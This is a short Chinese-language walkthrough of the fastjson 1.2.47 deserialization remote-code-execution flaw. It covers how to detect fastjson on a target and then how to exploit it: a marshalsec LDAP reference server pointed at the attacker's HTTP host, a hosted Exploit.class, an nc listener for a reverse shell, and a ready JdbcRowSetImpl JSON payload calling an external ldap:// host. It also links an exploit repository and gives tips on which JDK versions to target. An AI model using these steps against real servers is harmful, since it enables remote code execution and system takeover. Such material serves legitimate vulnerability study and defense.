更新:2020_01_28
介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库。
漏洞原因: checkAutoType
黑名单中可绕过
检测方法:
第一种:
json数据{"age":"25","name":"2"}
,回显正常
{"age":"25","name":"2""}
,多了一个双引号,回显报错
例如:多一个}
也一样会报错
第二种:
fastjson 与 jackson区别,如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"zpchcbd":123}
这里 fastjson 是不会报错的, 但是Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多key,所以会报错,服务器的响应包中多少会有异常回显。
利用过程:
漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
攻击机器的java版本如下:
1、开始相应的服务:
ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机器的ip/#Exploit
http服务python -m http.server 8888
2、在攻击机上把Exploit.java
编译好的Exploit.class
字节码放在http服务的目录中
3、利用payload如下:
4、开启nc监听反弹:nc -lvvp 8888
,反弹shell成功
注意点:
第一点:如下jdk版本不存在漏洞
原因:java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
第二点:Exploit.java
漏洞利用文件最好用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6
第三点:如果是json字符串中name字段存在反序列化的情况
{"id":"1","name":"wangwei"}
那么poc就是
{
"id":"1",
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"},
"x":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":
"ldap://fatjaon.tuq75v.ceye.io",
"autoCommit":true
}
}